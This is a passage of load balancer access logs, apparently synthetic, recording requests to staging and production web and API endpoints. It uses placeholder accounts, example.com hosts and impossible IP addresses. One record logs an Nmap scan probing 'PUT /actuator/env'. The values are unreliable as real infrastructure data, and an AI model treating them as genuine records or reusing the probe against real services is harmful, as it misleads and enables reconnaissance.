ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e056-175f9d0480b4460eaf5d7785" "staging-alb.example.com" "-" 0 2024-11-01T02:53:58.348242Z "forward" "-" "-" "50.106.130.135:8080" "200" "-" "-" +https 2024-11-01T02:53:58.682398Z prod-api-alb 15.231.56.155:56755 10.0.158.58:443 0.038422 0.372452 0.031304 404 404 208 4133 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e056-09cb6a3485804485bde69125" "prod-api-alb.example.com" "-" 6 2024-11-01T02:53:58.682398Z "forward" "-" "-" "10.0.158.58:443" "404" "-" "-" +https 2024-11-01T02:54:00.548931Z prod-web-alb 249.128.35.26:64714 10.0.189.42:443 0.074025 0.347107 0.031808 301 301 654 7718 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e058-b7e259a8b9584af1a54a4b9f" "-" "-" 5 2024-11-01T02:54:00.548931Z "forward" "-" "-" "10.0.189.42:443" "301" "-" "-" +http 2024-11-01T02:54:00.907864Z staging-alb 102.233.1.132:31113 49.20.9.44:80 0.133538 0.067517 0.145113 200 200 354 4468 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e058-7e4a145470a54e18840d35a1" "staging-alb.example.com" "-" 5 2024-11-01T02:54:00.907864Z "forward" "-" "-" "49.20.9.44:80" "200" "-" "-" +https 2024-11-01T02:54:01.696060Z prod-api-alb 109.26.90.91:31014 10.0.105.56:443 0.027742 0.386394 0.029017 200 200 725 14790 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e059-747fd24f06634c228260ba93" "prod-api-alb.example.com" "-" 1 2024-11-01T02:54:01.696060Z "forward" "-" "-" "10.0.105.56:443" "200" "-" "-" +http 2024-11-01T02:54:03.449578Z staging-alb 109.20.195.0:33257 36.70.109.252:443 0.069417 0.419882 0.041686 200 200 391 839 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e05b-b7301f542fed44ccbcb31ed0" "staging-alb.example.com" "-" 3 2024-11-01T02:54:03.449578Z "forward" "-" "-" "36.70.109.252:443" "200" "-" "-" +http 2024-11-01T02:54:04.816297Z staging-alb 135.42.85.194:35738 223.189.8.105:80 0.066290 0.702496 0.021652 404 404 213 910 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e05c-04b3c5504fb14bf8bd6f57ce" "staging-alb.example.com" "-" 8 2024-11-01T02:54:04.816297Z "forward" "-" "-" "223.189.8.105:80" "404" "-" "-" +https 2024-11-01T02:54:06.117968Z staging-alb 50.27.100.193:35979 245.89.143.25:8080 0.117076 0.677359 0.056075 404 404 526 12847 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e05e-38cbb6276dd44c85bbfb4d23" "staging-alb.example.com" "-" 3 2024-11-01T02:54:06.117968Z "forward" "-" "-" "245.89.143.25:8080" "404" "-" "-" +https 2024-11-01T02:54:06.854837Z prod-api-alb 231.207.11.93:20629 10.0.74.219:443 0.015341 0.306092 0.038688 301 301 305 11010 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e05e-15d5a6374e784a86b4d6a317" "prod-api-alb.example.com" "-" 7 2024-11-01T02:54:06.854837Z "forward" "-" "-" "10.0.74.219:443" "301" "-" "-" +https 2024-11-01T02:54:08.792365Z prod-web-alb 165.183.163.123:26621 10.0.175.82:443 0.015850 0.005161 0.090929 200 200 482 5404 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e060-351a4387f9c146f29d08c3ad" "prod-web-alb.example.com" "-" 5 2024-11-01T02:54:08.792365Z "forward" "-" "-" "10.0.175.82:443" "200" "-" "-" +https 2024-11-01T02:54:09.743056Z prod-api-alb 254.75.21.0:58481 10.0.173.56:443 0.091163 0.104265 0.060649 200 200 917 973 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e061-895546023fea4055963c3d24" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:09.743056Z "forward" "-" "-" "10.0.173.56:443" "200" "-" "-" +https 2024-11-01T02:54:11.030368Z prod-api-alb 110.99.51.201:23807 10.0.23.141:443 0.060993 0.400506 0.042214 200 200 799 5258 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e063-62b503e246014ee08adae9df" "prod-api-alb.example.com" "-" 0 2024-11-01T02:54:11.030368Z "forward" "-" "-" "10.0.23.141:443" "200" "-" "-" +https 2024-11-01T02:54:11.733065Z prod-api-alb 134.154.125.45:40894 10.0.231.162:443 0.005775 0.296169 0.067162 301 301 382 5146 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e063-74447dfa86f34bcf8e15f6fc" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:11.733065Z "forward" "-" "-" "10.0.231.162:443" "301" "-" "-" +https 2024-11-01T02:54:11.908099Z prod-api-alb 93.219.203.186:30975 10.0.4.141:443 0.000549 0.024687 0.065107 200 200 482 10403 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e063-5f65aa285c094cbf9149ee7b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:11.908099Z "forward" "-" "-" "10.0.4.141:443" "200" "-" "-" +https 2024-11-01T02:54:12.971900Z prod-api-alb 97.88.141.71:25961 10.0.76.127:443 0.028326 0.158308 0.054687 200 200 545 267 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e064-251b1d04dc1a4912abe68008" "prod-api-alb.example.com" "-" 6 2024-11-01T02:54:12.971900Z "forward" "-" "-" "10.0.76.127:443" "200" "-" "-" +https 2024-11-01T02:54:14.368048Z staging-alb 201.251.118.237:35965 146.157.179.160:80 0.143251 0.061634 0.137421 302 302 94 4981 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e066-c6cd9d769674460bb0117c7a" "staging-alb.example.com" "-" 7 2024-11-01T02:54:14.368048Z "forward" "-" "-" "146.157.179.160:80" "302" "-" "-" +https 2024-11-01T02:54:14.798617Z staging-alb 214.109.41.17:10309 81.233.100.158:443 0.076163 0.105927 0.063687 200 200 185 2643 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e066-cb7d9949a49544d1afbb20e7" "staging-alb.example.com" "-" 1 2024-11-01T02:54:14.798617Z "forward" "-" "-" "81.233.100.158:443" "200" "-" "-" +https 2024-11-01T02:54:16.302871Z prod-web-alb 141.154.57.36:59947 10.0.45.107:443 0.024593 0.434925 0.090818 200 200 684 3939 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e068-100928990d1b4a66a5acef5d" "prod-web-alb.example.com" "-" 1 2024-11-01T02:54:16.302871Z "forward" "-" "-" "10.0.45.107:443" "200" "-" "-" +http 2024-11-01T02:54:18.046108Z staging-alb 61.85.97.153:39366 233.6.222.68:80 0.088595 0.388461 0.126109 200 200 141 5008 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e06a-cf20dd6faf5141f5a3c7f146" "staging-alb.example.com" "-" 9 2024-11-01T02:54:18.046108Z "forward" "-" "-" "233.6.222.68:80" "200" "-" "-" +https 2024-11-01T02:54:18.666165Z prod-web-alb 193.27.228.250:48182 10.0.73.160:443 0.053278 0.208442 0.060098 404 404 644 7763 "PUT /actuator/env HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e06a-c680b5df6cf840169019d5d2" "-" "-" 0 2024-11-01T02:54:18.666165Z "forward" "-" "-" "10.0.73.160:443" "404" "-" "-" +http 2024-11-01T02:54:19.787228Z staging-alb 128.172.110.208:21821 228.165.128.189:8080 0.013739 0.388101 0.057860 200 200 191 5635 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e06b-3806aacf636f4051b2c36639" "staging-alb.example.com" "-" 1 2024-11-01T02:54:19.787228Z "forward" "-" "-" "228.165.128.189:8080" "200" "-" "-" +https 2024-11-01T02:54:21.709308Z prod-web-alb 109.178.5.244:27045 10.0.12.78:443 0.026542 0.296646 0.005243 301 301 79 3578 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e06d-1190b3e2ccfc48049a91fe28" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:21.709308Z "forward" "-" "-" "10.0.12.78:443" "301" "-" "-" +https 2024-11-01T02:54:23.071841Z prod-web-alb 189.13.179.47:26782 10.0.147.204:443 0.089994 0.434220 0.005286 200 200 17 3405 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e06f-07b55f5ca7ea41efacc05d0d" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:23.071841Z "forward" "-" "-" "10.0.147.204:443" "200" "-" "-" +http 2024-11-01T02:54:23.532320Z staging-alb 112.78.250.18:17105 151.26.120.117:8080 0.058597 0.715822 0.011799 200 200 733 1287 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e06f-10fc92f5b5ff4bbaae2792d6" "staging-alb.example.com" "-" 5 2024-11-01T02:54:23.532320Z "forward" "-" "-" "151.26.120.117:8080" "200" "-" "-" +https 2024-11-01T02:54:24.807459Z prod-web-alb 37.0.249.109:19399 10.0.3.148:443 0.069864 0.032055 0.034733 200 200 785 5511 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e070-ab2fc7ba46564889b87cf411" "prod-web-alb.example.com" "-" 5 2024-11-01T02:54:24.807459Z "forward" "-" "-" "10.0.3.148:443" "200" "-" "-" +https 2024-11-01T02:54:26.634825Z prod-api-alb 107.30.226.112:32644 10.0.15.76:443 0.035284 0.147642 0.001282 200 200 514 5072 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e072-c9ddb67d2d3045fca9d17624" "prod-api-alb.example.com" "-" 6 2024-11-01T02:54:26.634825Z "forward" "-" "-" "10.0.15.76:443" "200" "-" "-" +http 2024-11-01T02:54:27.925994Z staging-alb 109.197.51.128:56367 11.143.218.112:443 0.104720 0.719165 0.045876 200 200 956 11366 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e073-beb8d512413c411a9c1c0da8" "staging-alb.example.com" "-" 3 2024-11-01T02:54:27.925994Z "forward" "-" "-" "11.143.218.112:443" "200" "-" "-" +https 2024-11-01T02:54:28.638668Z prod-web-alb 126.6.209.191:40403 10.0.171.253:443 0.009789 0.142072 0.093399 301 301 815 11470 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e074-7033c70c784544178d630a4d" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:28.638668Z "forward" "-" "-" "10.0.171.253:443" "301" "-" "-" +https 2024-11-01T02:54:29.673720Z prod-api-alb 217.202.6.236:18003 10.0.127.245:443 0.001773 0.266233 0.015430 302 302 392 13518 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e075-06582432b725403b9ea66ea3" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:29.673720Z "forward" "-" "-" "10.0.127.245:443" "302" "-" "-" +https 2024-11-01T02:54:30.890543Z prod-api-alb 139.168.54.53:36424 10.0.32.34:443 0.094726 0.134291 0.045372 301 301 585 4028 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e076-e61905a55cb4424695f03061" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:30.890543Z "forward" "-" "-" "10.0.32.34:443" "301" "-" "-" +https 2024-11-01T02:54:32.449222Z prod-api-alb 194.242.3.86:11408 10.0.81.96:443 0.058591 0.052660 0.095382 200 200 655 8365 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e078-35e0100510ec43b59ca44da7" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:32.449222Z "forward" "-" "-" "10.0.81.96:443" "200" "-" "-" +https 2024-11-01T02:54:32.628203Z prod-api-alb 116.157.55.159:23088 10.0.134.10:443 0.058854 0.026323 0.097854 200 200 451 5581 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e078-9d733266f3f4497b85ab4bc7" "prod-api-alb.example.com" "-" 6 2024-11-01T02:54:32.628203Z "forward" "-" "-" "10.0.134.10:443" "200" "-" "-" +https 2024-11-01T02:54:33.062130Z prod-api-alb 89.90.118.206:25535 10.0.94.45:443 0.090499 0.032352 0.028405 404 404 617 530 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e079-f8cd7620a8214a9c8321dcd8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:54:33.062130Z "forward" "-" "-" "10.0.94.45:443" "404" "-" "-" +https 2024-11-01T02:54:34.838485Z prod-api-alb 15.137.245.46:52182 10.0.95.46:443 0.058796 0.011658 0.056690 200 200 97 6339 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e07a-14d2a305768d40a38c187991" "prod-api-alb.example.com" "-" 1 2024-11-01T02:54:34.838485Z "forward" "-" "-" "10.0.95.46:443" "200" "-" "-" +https 2024-11-01T02:54:35.706415Z prod-api-alb 216.157.147.252:22250 10.0.154.60:443 0.009853 0.218145 0.006415 200 200 34 12869 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e07b-55251dbc3d89437e847c412d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:54:35.706415Z "forward" "-" "-" "10.0.154.60:443" "200" "-" "-" +https 2024-11-01T02:54:37.589270Z staging-alb 191.205.97.1:21375 80.31.178.142:443 0.032656 0.603776 0.149821 301 301 433 9405 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e07d-3a4a43ecf13942999cf870bf" "staging-alb.example.com" "-" 6 2024-11-01T02:54:37.589270Z "forward" "-" "-" "80.31.178.142:443" "301" "-" "-" +http 2024-11-01T02:54:37.918579Z staging-alb 63.147.220.171:63946 142.76.80.79:80 0.003027 0.714076 0.020548 200 200 657 5316 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e07d-cce30294a6414f78aa3f78da" "staging-alb.example.com" "-" 1 2024-11-01T02:54:37.918579Z "forward" "-" "-" "142.76.80.79:80" "200" "-" "-" +http 2024-11-01T02:54:38.790476Z staging-alb 146.223.18.152:31713 96.54.33.70:443 0.057915 0.036773 0.141983 404 404 769 14763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e07e-a337cb74c8f3455899d47984" "staging-alb.example.com" "-" 1 2024-11-01T02:54:38.790476Z "forward" "-" "-" "96.54.33.70:443" "404" "-" "-" +https 2024-11-01T02:54:39.084521Z prod-api-alb 153.155.232.114:46445 10.0.86.170:443 0.002249 0.316550 0.007657 200 200 300 3512 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e07f-aa5e3ae52d0a4292886a8c76" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:39.084521Z "forward" "-" "-" "10.0.86.170:443" "200" "-" "-" +http 2024-11-01T02:54:40.615041Z staging-alb 122.8.127.45:53358 21.192.53.58:8080 0.028830 0.495144 0.142491 301 301 581 1274 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e080-8d4229f9c5f74f259061e41d" "staging-alb.example.com" "-" 0 2024-11-01T02:54:40.615041Z "forward" "-" "-" "21.192.53.58:8080" "301" "-" "-" +https 2024-11-01T02:54:41.204841Z prod-web-alb 27.201.143.201:27455 10.0.78.151:443 0.086985 0.384051 0.001123 200 200 349 2344 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e081-e093aeee277b48749fbfa667" "prod-web-alb.example.com" "-" 10 2024-11-01T02:54:41.204841Z "forward" "-" "-" "10.0.78.151:443" "200" "-" "-" +https 2024-11-01T02:54:42.559932Z staging-alb 29.110.119.191:20349 51.1.69.178:443 0.028146 0.271061 0.139797 200 200 268 1466 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e082-5bbf5274a88d4ed7ba819435" "staging-alb.example.com" "-" 7 2024-11-01T02:54:42.559932Z "forward" "-" "-" "51.1.69.178:443" "200" "-" "-" +http 2024-11-01T02:54:43.377910Z staging-alb 177.42.96.115:64123 64.102.251.52:443 0.104152 0.307010 0.084650 302 302 965 4336 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e083-8aaf528cc9cc41ab9753637d" "staging-alb.example.com" "-" 2 2024-11-01T02:54:43.377910Z "forward" "-" "-" "64.102.251.52:443" "302" "-" "-" +https 2024-11-01T02:54:44.840156Z staging-alb 48.241.2.71:11622 251.12.235.174:443 0.090625 0.086068 0.045331 200 200 757 3457 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e084-4851d375553e4af6b1b3aecd" "staging-alb.example.com" "-" 8 2024-11-01T02:54:44.840156Z "forward" "-" "-" "251.12.235.174:443" "200" "-" "-" +http 2024-11-01T02:54:46.124696Z staging-alb 143.216.18.127:27966 168.39.145.81:8080 0.075511 0.740720 0.033555 200 200 121 14308 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e086-17950fcbc6684fb1a20d9955" "-" "-" 4 2024-11-01T02:54:46.124696Z "forward" "-" "-" "168.39.145.81:8080" "200" "-" "-" +http 2024-11-01T02:54:47.326085Z staging-alb 17.112.18.19:38164 140.221.120.23:443 0.147404 0.631945 0.024757 302 302 693 335 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e087-9c3e5d3a3aed4363b0b9671a" "staging-alb.example.com" "-" 2 2024-11-01T02:54:47.326085Z "forward" "-" "-" "140.221.120.23:443" "302" "-" "-" +https 2024-11-01T02:54:47.438167Z prod-web-alb 143.195.21.231:40412 10.0.226.241:443 0.082543 0.393949 0.064504 302 302 430 8069 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e087-d2e9889fcc3a47fea27599db" "prod-web-alb.example.com" "-" 0 2024-11-01T02:54:47.438167Z "forward" "-" "-" "10.0.226.241:443" "302" 